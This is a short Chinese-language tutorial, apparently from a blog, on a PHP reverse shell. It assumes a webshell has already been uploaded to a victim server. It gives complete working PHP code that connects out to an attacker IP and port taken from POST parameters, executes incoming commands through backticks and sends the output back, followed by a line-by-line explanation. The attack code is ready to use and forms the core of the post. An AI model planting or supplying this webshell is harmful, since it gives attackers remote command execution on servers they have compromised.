PHP反弹shell

N 人看过

步骤详解:
前提:
①、PHPStudy开启相关服务。
②、假设木马已上传至服务器且可以访问(即执行代码才能反弹shell)。
③、攻击机器和受害服务器要处于同一网段。

1、划线为攻击机的IP+端口。
在这里插入图片描述2、攻击机监听自身端口4444,即可获取执行shell。
在这里插入图片描述

<?php 
set_time_limit(0); 
$ip=$_POST['ip'];
$port=$_POST['port'];
$fp=@fsockopen($ip,$port,$errno,$errstr);
if(!$fp){echo "error";}
else{
	fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");
	while(!feof($fp)){
	fputs($fp,"shell:");
	$shell=fgets($fp);
	$message=`$shell`;
	fputs($fp,$message);
	}
fclose($fp);
}
?>

代码注释:
1、set_time_limit()来控制运行时间。如 set_time_limit(800) ,其中将秒数如果设为0 ,表示持续运行到程序结束。
2、$_POST['ip'] $_POST['port']表示传递的攻击的IP,PORT。
3、$fp=@fsockopen($ip,$port,$errno,$errstr); fsockopen — 打开一个网络连接或者一个Unix套接字连接,并且使用@屏蔽报错信息,返回一个文件句柄$fp,可以被其他文件类函数调用,例如代码中的fputs(),fgets()
4、判断$fp是否存在,不存在报错echo "error",存在就使用fputs()函数写入连接成功信息。
5、feof() 函数检查是否已到达文件末尾(EOF)。如果出错或者文件指针到了文件末尾(EOF)则返回 TRUE,否则返回 FALSE。使用while在不到读取的文件末尾时一直执行。
6、fputs($fp,"shell:");向句柄输出shell:的提示
7、$shell=fgets($fp);将攻击机输入命令通过文件句柄$fp传递入受害机器,同时使用fget()函数读取输入的命令,最终传递给$shell变量存储。
8、$message=`$shell`;php默认将反单引号的内容作为系统命令执行。
9、fputs($fp,$message);将结果输出至攻击机端显示。
10、fclose($fp);关闭文件句柄。

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。